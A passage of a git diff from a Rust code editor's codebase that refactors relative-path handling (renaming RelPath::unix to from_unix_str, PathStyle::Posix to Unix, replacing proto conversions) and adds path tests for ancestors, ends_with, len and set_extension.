     use super::*;
-    use itertools::Itertools;
-    use pretty_assertions::assert_matches;
 
     #[test]
     fn test_rel_path_new() {
@@ -515,11 +621,11 @@ mod tests {
 
         let path = RelPath::new("foo/".as_ref(), PathStyle::local()).unwrap();
         assert_eq!(path, rel_path("foo").into());
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
         let path = RelPath::new("foo\\".as_ref(), PathStyle::Windows).unwrap();
         assert_eq!(path, rel_path("foo").into());
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
         assert_eq!(
             RelPath::new("foo/bar/../baz/./quux/".as_ref(), PathStyle::local())
@@ -528,29 +634,29 @@ mod tests {
             rel_path("foo/baz/quux")
         );
 
-        let path = RelPath::new("./foo/bar".as_ref(), PathStyle::Posix).unwrap();
+        let path = RelPath::new("./foo/bar".as_ref(), PathStyle::Unix).unwrap();
         assert_eq!(path.as_ref(), rel_path("foo/bar"));
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
         let path = RelPath::new(".\\foo".as_ref(), PathStyle::Windows).unwrap();
         assert_eq!(path, rel_path("foo").into());
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
         let path = RelPath::new("./.\\./foo/\\/".as_ref(), PathStyle::Windows).unwrap();
         assert_eq!(path, rel_path("foo").into());
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
-        let path = RelPath::new("foo/./bar".as_ref(), PathStyle::Posix).unwrap();
+        let path = RelPath::new("foo/./bar".as_ref(), PathStyle::Unix).unwrap();
         assert_eq!(path.as_ref(), rel_path("foo/bar"));
-        assert_matches!(path, Cow::Owned(_));
+        assert!(matches!(path, Cow::Owned(_)));
 
         let path = RelPath::new("./foo/bar".as_ref(), PathStyle::Windows).unwrap();
         assert_eq!(path.as_ref(), rel_path("foo/bar"));
-        assert_matches!(path, Cow::Borrowed(_));
+        assert!(matches!(path, Cow::Borrowed(_)));
 
         let path = RelPath::new(".\\foo\\bar".as_ref(), PathStyle::Windows).unwrap();
         assert_eq!(path.as_ref(), rel_path("foo/bar"));
-        assert_matches!(path, Cow::Owned(_));
+        assert!(matches!(path, Cow::Owned(_)));
     }
 
     #[test]
@@ -590,6 +696,41 @@ mod tests {
         let mut ancestors = path.ancestors();
         assert_eq!(ancestors.next(), Some(RelPath::empty()));
         assert_eq!(ancestors.next(), None);
+
+        let path = rel_path("foo/bar/baz");
+        let mut ancestors = path.ancestors();
+        assert_eq!(ancestors.next_back(), Some(rel_path("")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("foo")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("foo/bar")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("foo/bar/baz")));
+        assert_eq!(ancestors.next_back(), None);
+
+        let path = rel_path("foo/bar/baz");
+        let mut ancestors = path.ancestors();
+        assert_eq!(ancestors.next(), Some(rel_path("foo/bar/baz")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("")));
+        assert_eq!(ancestors.next(), Some(rel_path("foo/bar")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("foo")));
+        assert_eq!(ancestors.next(), None);
+        assert_eq!(ancestors.next_back(), None);
+
+        let path = rel_path("foo");
+        let mut ancestors = path.ancestors();
+        assert_eq!(ancestors.next_back(), Some(RelPath::empty()));
+        assert_eq!(ancestors.next_back(), Some(rel_path("foo")));
+        assert_eq!(ancestors.next_back(), None);
+
+        let path = RelPath::empty();
+        let mut ancestors = path.ancestors();
+        assert_eq!(ancestors.next_back(), Some(RelPath::empty()));
+        assert_eq!(ancestors.next_back(), None);
+
+        let path = rel_path("über/x");
+        let mut ancestors = path.ancestors();
+        assert_eq!(ancestors.next_back(), Some(RelPath::empty()));
+        assert_eq!(ancestors.next_back(), Some(rel_path("über")));
+        assert_eq!(ancestors.next_back(), Some(rel_path("über/x")));
+        assert_eq!(ancestors.next_back(), None);
     }
 
     #[test]
@@ -602,13 +743,18 @@ mod tests {
     #[test]
     fn test_rel_path_partial_ord_is_compatible_with_std() {
         let test_cases = ["a/b/c", "relative/path/with/dot.", "relative/path/with.dot"];
-        for [lhs, rhs] in test_cases.iter().array_combinations::<2>() {
-            assert_eq!(
-                Path::new(lhs).cmp(Path::new(rhs)),
-                RelPath::unix(lhs)
-                    .unwrap()
-                    .cmp(&RelPath::unix(rhs).unwrap())
-            );
+        for (i, lhs) in test_cases.iter().enumerate() {
+            for rhs in &test_cases[i + 1..] {
+                assert_eq!(
+                    Path::new(lhs).cmp(Path::new(rhs)),
+                    RelPath::from_unix_str(lhs)
+                        .unwrap()
+                        .cmp(RelPath::from_unix_str(rhs).unwrap()),
+                    "ordering mismatch for {:?} vs {:?}",
+                    lhs,
+                    rhs,
+                );
+            }
         }
     }
 
@@ -621,19 +767,28 @@ mod tests {
         assert_eq!(child.strip_prefix(parent).unwrap(), child);
     }
 
+    #[test]
+    fn test_ends_with() {
+        assert!(rel_path("foo/bar").ends_with(rel_path("bar")));
+        assert!(rel_path("foo/bar").ends_with(rel_path("foo/bar")));
+        assert!(rel_path("foo/bar").ends_with(RelPath::empty()));
+        assert!(RelPath::empty().ends_with(RelPath::empty()));
+        assert!(!rel_path("foobar").ends_with(rel_path("bar")));
+    }
+
     #[test]
     fn test_rel_path_constructors_absolute_path() {
         assert!(RelPath::new(Path::new("/a/b"), PathStyle::Windows).is_err());
         assert!(RelPath::new(Path::new("\\a\\b"), PathStyle::Windows).is_err());
-        assert!(RelPath::new(Path::new("/a/b"), PathStyle::Posix).is_err());
+        assert!(RelPath::new(Path::new("/a/b"), PathStyle::Unix).is_err());
         assert!(RelPath::new(Path::new("C:/a/b"), PathStyle::Windows).is_err());
         assert!(RelPath::new(Path::new("C:\\a\\b"), PathStyle::Windows).is_err());
-        assert!(RelPath::new(Path::new("C:/a/b"), PathStyle::Posix).is_ok());
+        assert!(RelPath::new(Path::new("C:/a/b"), PathStyle::Unix).is_ok());
     }
 
     #[test]
     fn test_pop() {
-        let mut path = rel_path("a/b").to_rel_path_buf();
+        let mut path = rel_path_buf("a/b");
         path.pop();
         assert_eq!(path.as_rel_path().as_unix_str(), "a");
         path.pop();
@@ -641,4 +796,27 @@ mod tests {
         path.pop();
         assert_eq!(path.as_rel_path().as_unix_str(), "");
     }
+
+    #[test]
+    fn test_len() {
+        assert_eq!(RelPath::empty().len(), 0);
+        assert_eq!(rel_path("a").len(), 1);
+        assert_eq!(rel_path("a/b").len(), 2);
+        assert_eq!(rel_path("a/b/c").len(), 3);
+    }
+
+    #[test]
+    fn test_set_extension() {
+        let mut path = rel_path_buf("a/b/c.txt");
+        assert!(path.set_extension("rs"));
+        assert_eq!(path.as_rel_path().as_unix_str(), "a/b/c.rs");
+
+        let mut single = rel_path_buf("file.txt");
+        assert!(single.set_extension("md"));
+        assert_eq!(single.as_rel_path().as_unix_str(), "file.md");
+
+        let mut no_ext = rel_path_buf("a/b/c");
+        assert!(no_ext.set_extension("rs"));
+        assert_eq!(no_ext.as_rel_path().as_unix_str(), "a/b/c.rs");
+    }
 }
diff --git a/crates/paths/src/paths.rs b/crates/paths/src/paths.rs
index d222bd1c0cd670..9c16f1db289585 100644
--- a/crates/paths/src/paths.rs
+++ b/crates/paths/src/paths.rs
@@ -68,7 +68,7 @@ static CONFIG_DIR: OnceLock<PathBuf> = OnceLock::new();
 /// Returns the relative path to the zed_server directory on the ssh host.
 pub fn remote_server_dir_relative() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".zed_server").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".zed_server").unwrap());
     *CACHED
 }
 
@@ -76,7 +76,7 @@ pub fn remote_server_dir_relative() -> &'static RelPath {
 /// Returns the relative path to the zed_wsl_server directory on the wsl host.
 pub fn remote_wsl_server_dir_relative() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".zed_wsl_server").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".zed_wsl_server").unwrap());
     *CACHED
 }
 
@@ -496,21 +496,21 @@ pub fn local_vscode_folder_name() -> &'static str {
 /// Returns the relative path to a `settings.json` file within a project.
 pub fn local_settings_file_relative_path() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".zed/settings.json").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".zed/settings.json").unwrap());
     *CACHED
 }
 
 /// Returns the relative path to a `tasks.json` file within a project.
 pub fn local_tasks_file_relative_path() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".zed/tasks.json").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".zed/tasks.json").unwrap());
     *CACHED
 }
 
 /// Returns the relative path to a `.vscode/tasks.json` file within a project.
 pub fn local_vscode_tasks_file_relative_path() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".vscode/tasks.json").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".vscode/tasks.json").unwrap());
     *CACHED
 }
 
@@ -526,14 +526,14 @@ pub fn task_file_name() -> &'static str {
 /// .zed/debug.json
 pub fn local_debug_file_relative_path() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".zed/debug.json").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".zed/debug.json").unwrap());
     *CACHED
 }
 
 /// Returns the relative path to a `.vscode/launch.json` file within a project.
 pub fn local_vscode_launch_file_relative_path() -> &'static RelPath {
     static CACHED: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".vscode/launch.json").unwrap());
+        LazyLock::new(|| RelPath::from_unix_str(".vscode/launch.json").unwrap());
     *CACHED
 }
 
diff --git a/crates/project/Cargo.toml b/crates/project/Cargo.toml
index 5fd388ddaf8c08..b3ee5a88a22163 100644
--- a/crates/project/Cargo.toml
+++ b/crates/project/Cargo.toml
@@ -37,8 +37,8 @@ test-support = [
 aho-corasick.workspace = true
 anyhow.workspace = true
 askpass.workspace = true
-async-trait.workspace = true
 async-channel.workspace = true
+async-trait.workspace = true
 base64.workspace = true
 buffer_diff.workspace = true
 circular-buffer.workspace = true
@@ -60,15 +60,17 @@ globset.workspace = true
 gpui.workspace = true
 http_client = { workspace = true, features = ["github-download"] }
 image.workspace = true
-itertools.workspace = true
 indexmap.workspace = true
+itertools.workspace = true
 language.workspace = true
 log.workspace = true
 lsp.workspace = true
 markdown.workspace = true
 node_runtime.workspace = true
 parking_lot.workspace = true
+path.workspace = true
 paths.workspace = true
+percent-encoding.workspace = true
 postage.workspace = true
 prettier.workspace = true
 rand.workspace = true
@@ -93,8 +95,8 @@ tempfile.workspace = true
 terminal.workspace = true
 text.workspace = true
 toml.workspace = true
+tracing.workspace = true
 url.workspace = true
-percent-encoding.workspace = true
 util.workspace = true
 watch.workspace = true
 wax.workspace = true
@@ -104,7 +106,6 @@ zed_credentials_provider.workspace = true
 zeroize.workspace = true
 zlog.workspace = true
 ztracing.workspace = true
-tracing.workspace = true
 
 [dev-dependencies]
 client = { workspace = true, features = ["test-support"] }
diff --git a/crates/project/src/buffer_store.rs b/crates/project/src/buffer_store.rs
index 816cf97c8651c8..9fa7c324dff63a 100644
--- a/crates/project/src/buffer_store.rs
+++ b/crates/project/src/buffer_store.rs
@@ -312,7 +312,7 @@ impl RemoteBufferStore {
                 .request(proto::OpenBufferByPath {
                     project_id,
                     worktree_id,
-                    path: path.to_proto(),
+                    path: path.as_unix_str().to_owned(),
                 })
                 .await?;
             let buffer_id = BufferId::new(response.buffer_id)?;
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 8594904a17d5f8..26145b4a5c6c51 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -254,7 +254,7 @@ impl language::File for IndexTextFile {
         rpc::proto::File {
             worktree_id: self.worktree_id.to_proto(),
             entry_id: None,
-            path: self.path.as_ref().to_proto(),
+            path: self.path.as_ref().as_unix_str().to_owned(),
             mtime: None,
             is_deleted: false,
             is_historic: true,
@@ -336,7 +336,7 @@ impl StatusEntry {
         };
 
         proto::StatusEntry {
-            repo_path: self.repo_path.to_proto(),
+            repo_path: self.repo_path.as_unix_str().to_owned(),
             simple_status,
             status: Some(status_to_proto(self.status)),
             diff_stat_added: self.diff_stat.map(|ds| ds.added),
@@ -3825,7 +3825,7 @@ impl GitStore {
                 .files
                 .into_iter()
                 .map(|file| proto::CommitFile {
-                    path: file.path.to_proto(),
+                    path: file.path.as_unix_str().to_owned(),
                     old_text: file.old_text,
                     new_text: file.new_text,
                     is_binary: file.is_binary,
@@ -4023,7 +4023,7 @@ impl GitStore {
                 .entries
                 .into_iter()
                 .map(|(path, status)| proto::TreeDiffStatus {
-                    path: path.as_ref().to_proto(),
+                    path: path.as_ref().as_unix_str().to_owned(),
                     status: match status {
                         TreeDiffStatus::Added {} => proto::tree_diff_status::Status::Added.into(),
                         TreeDiffStatus::Modified { .. } => {
@@ -5109,7 +5109,7 @@ impl RepositorySnapshot {
                 .merge
                 .merge_heads_by_conflicted_path
                 .iter()
-                .map(|(repo_path, _)| repo_path.to_proto())
+                .map(|(repo_path, _)| repo_path.as_unix_str().to_owned())
                 .collect(),
             merge_message: self.merge.message.as_ref().map(|msg| msg.to_string()),
             project_id,
@@ -5165,13 +5165,13 @@ impl RepositorySnapshot {
                             current_new_entry = new_statuses.next();
                         }
                         Ordering::Greater => {
-                            removed_statuses.push(old_entry.repo_path.to_proto());
+                            removed_statuses.push(old_entry.repo_path.as_unix_str().to_owned());
                             current_old_entry = old_statuses.next();
                         }
                     }
                 }
                 (None, Some(old_entry)) => {
-                    removed_statuses.push(old_entry.repo_path.to_proto());
+                    removed_statuses.push(old_entry.repo_path.as_unix_str().to_owned());
                     current_old_entry = old_statuses.next();
                 }
                 (Some(new_entry), None) => {
@@ -5196,7 +5196,7 @@ impl RepositorySnapshot {
                 .merge
                 .merge_heads_by_conflicted_path
                 .iter()
-                .map(|(path, _)| path.to_proto())
+                .map(|(path, _)| path.as_unix_str().to_owned())
                 .collect(),
             merge_message: self.merge.message.as_ref().map(|msg| msg.to_string()),
             project_id,
@@ -6051,7 +6051,7 @@ impl Repository {
                                             commit,
                                             paths: paths
                                                 .into_iter()
-                                                .map(|p| p.to_proto())
+                                                .map(|p| p.as_unix_str().to_owned())
                                                 .collect(),
                                         })
                                         .await?;
@@ -7013,7 +7013,9 @@ impl Repository {
                                                 repository_id: id.to_proto(),
                                                 paths: entries
                                                     .into_iter()
-                                                    .map(|repo_path| repo_path.to_proto())
+                                                    .map(|repo_path| {
+                                                        repo_path.as_unix_str().to_owned()
+                                                    })
                                                     .collect(),
                                             })
                                             .await
@@ -7026,7 +7028,9 @@ impl Repository {
                                                 repository_id: id.to_proto(),
                                                 paths: entries
                                                     .into_iter()
-                                                    .map(|repo_path| repo_path.to_proto())
+                                                    .map(|repo_path| {
+                                                        repo_path.as_unix_str().to_owned()
+                                                    })
                                                     .collect(),
                                             })
                                             .await
@@ -7157,7 +7161,7 @@ impl Repository {
                                     repository_id: id.to_proto(),
                                     paths: entries
                                         .into_iter()
-                                        .map(|repo_path| repo_path.to_proto())
+                                        .map(|repo_path| repo_path.as_unix_str().to_owned())
                                         .collect(),
                                 })
                                 .await?;
@@ -7245,7 +7249,7 @@ impl Repository {
         is_dir: bool,
     ) -> oneshot::Receiver<Result<()>> {
         let work_dir = self.snapshot.work_directory_abs_path.clone();
-        let path_display = repo_path.as_ref().display(PathStyle::Posix);
+        let path_display = repo_path.as_ref().display(PathStyle::Unix);
         let file_path_str = if is_dir {
             format!("{}/", path_display)
         } else {
@@ -7279,7 +7283,7 @@ impl Repository {
         is_dir: bool,
     ) -> oneshot::Receiver<Result<()>> {
         let repository_dir = self.snapshot.repository_dir_abs_path.clone();
-        let path_display = repo_path.as_ref().display(PathStyle::Posix);
+        let path_display = repo_path.as_ref().display(PathStyle::Unix);
         let file_path_str = if is_dir {
             format!("{}/", path_display)
         } else {
@@ -7722,7 +7726,7 @@ impl Repository {
                             .request(proto::SetIndexText {
                                 project_id: project_id.0,
                                 repository_id: id.to_proto(),
-                                path: path.to_proto(),
+                                path: path.as_unix_str().to_owned(),
                                 text: content,
                             })
                             .await?;
@@ -8406,7 +8410,7 @@ impl Repository {
                             };
                             Some((
                                 RepoPath::from_rel_path(
-                                    &RelPath::from_proto(&entry.path).log_err()?,
+                                    RelPath::from_unix_str(&entry.path).log_err()?,
                                 ),
                                 status,
                             ))
@@ -8735,7 +8739,7 @@ impl Repository {
             .into_iter()
             .filter_map(|path| {
                 Some(sum_tree::Edit::Remove(PathKey(
-                    RelPath::from_proto(&path).log_err()?,
+                    RelPath::from_unix_str(&path).log_err()?.into(),
                 )))
             })
             .chain(
@@ -9326,7 +9330,7 @@ fn format_job_key(key: &GitJobKey) -> SharedString {
                 .iter()
                 .map(|p| {
                     let rel: &RelPath = p;
-                    format!("{}", AsRef::<Path>::as_ref(rel).display())
+                    rel.display(PathStyle::local())
                 })
                 .collect();
             format!("WriteIndex({})", paths_str.join(", ")).into()
@@ -9405,7 +9409,7 @@ pub fn worktrees_directory_for_repo(
     let resolved = if path_style.is_posix() {
         joined
     } else {
-        util::normalize_path(&joined)
+        path::normalize_path(&joined)
     };
     let resolved = if resolved.starts_with(repository_anchor_path) {
         resolved
@@ -9662,7 +9666,9 @@ fn log_source_to_proto(log_source: &LogSource) -> proto::GitLogSource {
             LogSource::All => proto::git_log_source::Source::All(proto::GitLogSourceAll {}),
             LogSource::Branch(branch) => proto::git_log_source::Source::Branch(branch.to_string()),
             LogSource::Sha(sha) => proto::git_log_source::Source::Sha(sha.to_string()),
-            LogSource::Path(path) => proto::git_log_source::Source::Path(path.to_proto()),
+            LogSource::Path(path) => {
+                proto::git_log_source::Source::Path(path.as_unix_str().to_owned())
+            }
         }),
     }
 }
@@ -10066,11 +10072,9 @@ mod tests {
     fn test_new_worktree_path_uses_posix_style_for_remote_paths() {
         let work_dir = Path::new("/home/user/dev/lsp-tests");
         let directory =
-            worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Posix).unwrap();
-        let directory = PathStyle::Posix
-            .join_path(&directory, "nimble-sky")
-            .unwrap();
-        let path = PathStyle::Posix.join_path(&directory, "lsp-tests").unwrap();
+            worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Unix).unwrap();
+        let directory = PathStyle::Unix.join_path(&directory, "nimble-sky").unwrap();
+        let path = PathStyle::Unix.join_path(&directory, "lsp-tests").unwrap();
 
         assert_eq!(
             path,
diff --git a/crates/project/src/image_store.rs b/crates/project/src/image_store.rs
index 0b6dcfa0078588..667440a437ccb9 100644
--- a/crates/project/src/image_store.rs
+++ b/crates/project/src/image_store.rs
@@ -698,7 +698,7 @@ impl ImageStoreImpl for Entity<RemoteImageStore> {
                 .request(rpc::proto::OpenImageByPath {
                     project_id,
                     worktree_id,
-                    path: path.to_proto(),
+                    path: path.as_unix_str().to_owned(),
                 })
                 .await?;
 
diff --git a/crates/project/src/lsp_command.rs b/crates/project/src/lsp_command.rs
index bdc41891587147..038950a04503d5 100644
--- a/crates/project/src/lsp_command.rs
+++ b/crates/project/src/lsp_command.rs
@@ -1614,7 +1614,7 @@ fn edit_prediction_definitions_to_proto(
         .into_iter()
         .map(|definition| proto::EditPredictionDefinition {
             worktree_id: definition.path.worktree_id.to_proto(),
-            path: definition.path.path.as_ref().to_proto(),
+            path: definition.path.path.as_ref().as_unix_str().to_owned(),
             start: Some(proto::PointUtf16 {
                 row: definition.range.start.0.row,
                 column: definition.range.start.0.column,
@@ -1638,7 +1638,9 @@ fn edit_prediction_definitions_from_proto(
             Ok(EditPredictionDefinition {
                 path: ProjectPath {
                     worktree_id: worktree::WorktreeId::from_proto(definition.worktree_id),
-                    path: RelPath::from_proto(&definition.path).context("invalid path")?,
+                    path: RelPath::from_unix_str(&definition.path)
+                        .context("invalid path")?
+                        .into(),
                 },
                 range: Unclipped(PointUtf16::new(start.row, start.column))
                     ..Unclipped(PointUtf16::new(end.row, end.column)),
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 71d5b30cf88ee7..e98b70c3d14e08 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -8755,7 +8755,7 @@ impl LspStore {
                                 project_id: *project_id,
                                 worktree_id: worktree_id.to_proto(),
                                 summary: Some(proto::DiagnosticSummary {
-                                    path: path.as_ref().to_proto(),
+                                    path: path.as_ref().as_unix_str().to_owned(),
                                     language_server_id: server_id.0 as u64,
                                     error_count: 0,
                                     warning_count: 0,
@@ -9046,7 +9046,7 @@ impl LspStore {
                                 diagnostics_summary
                                     .more_summaries
                                     .push(proto::DiagnosticSummary {
-                                        path: project_path.path.as_ref().to_proto(),
+                                        path: project_path.path.as_ref().as_unix_str().to_owned(),
                                         language_server_id: server_id.0 as u64,
                                         error_count: new_summary.error_count,
                                         warning_count: new_summary.warning_count,
@@ -9057,7 +9057,7 @@ impl LspStore {
                                     project_id,
                                     worktree_id: worktree_id.to_proto(),
                                     summary: Some(proto::DiagnosticSummary {
-                                        path: project_path.path.as_ref().to_proto(),
+                                        path: project_path.path.as_ref().as_unix_str().to_owned(),
                                         language_server_id: server_id.0 as u64,
                                         error_count: new_summary.error_count,
                                         warning_count: new_summary.warning_count,
@@ -9141,7 +9141,7 @@ impl LspStore {
                 Ok(ControlFlow::Continue(Some((
                     *project_id,
                     proto::DiagnosticSummary {
-                        path: path_in_worktree.to_proto(),
+                        path: path_in_worktree.as_unix_str().to_owned(),
                         language_server_id: server_id.0 as u64,
                         error_count: new_summary.error_count as u32,
                         warning_count: new_summary.warning_count as u32,
@@ -9946,7 +9946,7 @@ impl LspStore {
         let entry_id = ProjectEntryId::from_proto(envelope.payload.entry_id);
         let new_worktree_id = WorktreeId::from_proto(envelope.payload.new_worktree_id);
         let new_path =
-            RelPath::from_proto(&envelope.payload.new_path).context("invalid relative path")?;
+            RelPath::from_unix_str(&envelope.payload.new_path).context("invalid relative path")?;
 
         let (worktree_store, old_worktree, new_worktree, old_entry) = this
             .update(&mut cx, |this, cx| {
@@ -10015,7 +10015,9 @@ impl LspStore {
             {
                 let project_path = ProjectPath {
                     worktree_id,
-                    path: RelPath::from_proto(&message_summary.path).context("invalid path")?,
+                    path: RelPath::from_unix_str(&message_summary.path)
+                        .context("invalid path")?
+                        .into(),
                 };
                 let path = project_path.path.clone();
                 let server_id = LanguageServerId(message_summary.language_server_id as usize);
@@ -10050,7 +10052,7 @@ impl LspStore {
                             diagnostics_summary
                                 .more_summaries
                                 .push(proto::DiagnosticSummary {
-                                    path: project_path.path.as_ref().to_proto(),
+                                    path: project_path.path.as_ref().as_unix_str().to_owned(),
                                     language_server_id: server_id.0 as u64,
                                     error_count: summary.error_count as u32,
                                     warning_count: summary.warning_count as u32,
@@ -10061,7 +10063,7 @@ impl LspStore {
                                 project_id: *project_id,
                                 worktree_id: worktree_id.to_proto(),
                                 summary: Some(proto::DiagnosticSummary {
-                                    path: project_path.path.as_ref().to_proto(),
+                                    path: project_path.path.as_ref().as_unix_str().to_owned(),
                                     language_server_id: server_id.0 as u64,
                                     error_count: summary.error_count as u32,
                                     warning_count: summary.warning_count as u32,
@@ -11539,7 +11541,7 @@ impl LspStore {
                                 project_id,
                                 worktree_id: worktree_id.to_proto(),
                                 summary: Some(proto::DiagnosticSummary {
-                                    path: path.as_ref().to_proto(),
+                                    path: path.as_ref().as_unix_str().to_owned(),
                                     language_server_id: server_id.0 as u64,
                                     error_count: 0,
                                     warning_count: 0,
@@ -12571,7 +12573,7 @@ impl LspStore {
         match &symbol.path {
             SymbolLocation::InProject(path) => {
                 result.worktree_id = path.worktree_id.to_proto();
-                result.path = path.path.to_proto();
+                result.path = path.path.as_unix_str().to_owned();
             }
             SymbolLocation::OutsideProject {
                 abs_path,
@@ -12592,8 +12594,9 @@ impl LspStore {
         let path = if serialized_symbol.signature.is_empty() {
             SymbolLocation::InProject(ProjectPath {
                 worktree_id,
-                path: RelPath::from_proto(&serialized_symbol.path)
-                    .context("invalid symbol path")?,
+                path: RelPath::from_unix_str(&serialized_symbol.path)
+                    .context("invalid symbol path")?
+                    .into(),
             })
         } else {
             SymbolLocation::OutsideProject {
@@ -14840,7 +14843,7 @@ impl DiagnosticSummary {
         path: &RelPath,
     ) -> proto::DiagnosticSummary {
         proto::DiagnosticSummary {
-            path: path.to_proto(),
+            path: path.as_unix_str().to_owned(),
             language_server_id: language_server_id.0 as u64,
             error_count: self.error_count as u32,
             warning_count: self.warning_count as u32,
diff --git a/crates/project/src/manifest_tree/path_trie.rs b/crates/project/src/manifest_tree/path_trie.rs
index 99b4d523e0eff2..ba0a3619e7d967 100644
--- a/crates/project/src/manifest_tree/path_trie.rs
+++ b/crates/project/src/manifest_tree/path_trie.rs
@@ -4,6 +4,7 @@ use std::{
     sync::Arc,
 };
 
+use path::rel_path::RelPathBuf;
 use util::rel_path::RelPath;
 
 /// [RootPathTrie] is a workhorse of [super::ManifestTree]. It is responsible for determining the closest known entry for a given path.
@@ -59,12 +60,12 @@ impl<Label: Ord + Clone> RootPathTrie<Label> {
     ) -> &mut Self {
         let mut current = self;
 
-        let mut path_so_far = <Arc<RelPath>>::from(RelPath::empty());
+        let mut path_so_far = RelPathBuf::new();
         for key in path.0.iter() {
-            path_so_far = path_so_far.join(RelPath::unix(key.as_ref()).unwrap());
+            path_so_far = path_so_far.join(RelPath::from_unix_str(key.as_ref()).unwrap());
             current = match current.children.entry(key.clone()) {
                 Entry::Vacant(vacant_entry) => {
-                    vacant_entry.insert(RootPathTrie::new_with_key(path_so_far.clone()))
+                    vacant_entry.insert(RootPathTrie::new_with_key(path_so_far.clone().into()))
                 }
                 Entry::Occupied(occupied_entry) => occupied_entry.into_mut(),
             };
diff --git a/crates/project/src/prettier_store.rs b/crates/project/src/prettier_store.rs
index 8d9399dce64ab0..949b80802e58cb 100644
--- a/crates/project/src/prettier_store.rs
+++ b/crates/project/src/prettier_store.rs
@@ -460,7 +460,7 @@ impl PrettierStore {
     ) {
         let prettier_config_files = Prettier::CONFIG_FILE_NAMES
             .iter()
-            .map(|name| RelPath::unix(name).unwrap())
+            .map(|name| RelPath::from_unix_str(name).unwrap())
             .collect::<HashSet<_>>();
 
         let prettier_config_file_changed = changes
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 722b712f1550b6..17308d9d5a4770 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -440,14 +440,14 @@ impl ProjectPath {
     pub fn from_proto(p: proto::ProjectPath) -> Option<Self> {
         Some(Self {
             worktree_id: WorktreeId::from_proto(p.worktree_id),
-            path: RelPath::from_proto(&p.path).log_err()?,
+            path: RelPath::from_unix_str(&p.path).log_err()?.into(),
         })
     }
 
     pub fn to_proto(&self) -> proto::ProjectPath {
         proto::ProjectPath {
             worktree_id: self.worktree_id.to_proto(),
-            path: self.path.as_ref().to_proto(),
+            path: self.path.as_ref().as_unix_str().to_owned(),
         }
     }
 
@@ -1725,7 +1725,7 @@ impl Project {
         let path_style = if response.payload.windows_paths {
             PathStyle::Windows
         } else {
-            PathStyle::Posix
+            PathStyle::Unix
         };
 
         let worktree_store = cx.new(|cx| {
@@ -2152,7 +2152,7 @@ impl Project {
                 root_repo_is_linked_worktree: false,
             },
             client,
-            PathStyle::Posix,
+            PathStyle::Unix,
             cx,
         );
         self.worktree_store
@@ -3152,7 +3152,7 @@ impl Project {
         // because SSH projects have client_state: Local but still need to communicate with remote server
         let project_id = self.remote_id().unwrap_or(REMOTE_SERVER_PROJECT_ID);
         let downloading_files = self.downloading_files.clone();
-        let path_str = path.to_proto();
+        let path_str = path.as_unix_str().to_owned();
 
         static NEXT_FILE_ID: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(1);
         let file_id = NEXT_FILE_ID.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
@@ -5766,7 +5766,7 @@ impl Project {
     ) -> Result<proto::OpenBufferResponse> {
         let peer_id = envelope.original_sender_id()?;
         let worktree_id = WorktreeId::from_proto(envelope.payload.worktree_id);
-        let path = RelPath::from_proto(&envelope.payload.path)?;
+        let path = RelPath::from_unix_str(&envelope.payload.path)?.into();
         let open_buffer = this
             .update(&mut cx, |this, cx| {
                 this.open_buffer(ProjectPath { worktree_id, path }, cx)
diff --git a/crates/project/src/project_settings.rs b/crates/project/src/project_settings.rs
index 52c2a9c20122dc..68e40162ded9d7 100644
--- a/crates/project/src/project_settings.rs
+++ b/crates/project/src/project_settings.rs
@@ -1023,7 +1023,7 @@ impl SettingsObserver {
                     .send(proto::UpdateWorktreeSettings {
                         project_id,
                         worktree_id,
-                        path: path.to_proto(),
+                        path: path.as_unix_str().to_owned(),
                         content: Some(content),
                         kind: Some(
                             local_settings_kind_to_proto(LocalSettingsKind::Settings).into(),
@@ -1206,7 +1206,7 @@ impl SettingsObserver {
                     .unwrap()
                     .into();
                 (settings_dir, LocalSettingsKind::Debug)
-            } else if path.ends_with(RelPath::unix(EDITORCONFIG_NAME).unwrap()) {
+            } else if path.ends_with(RelPath::from_unix_str(EDITORCONFIG_NAME).unwrap()) {
                 let Some(settings_dir) = path.parent().map(Arc::from) else {
                     continue;
                 };
diff --git a/crates/project/src/toolchain_store.rs b/crates/project/src/toolchain_store.rs
index 1539014fb315f5..d05081f8b17ad5 100644
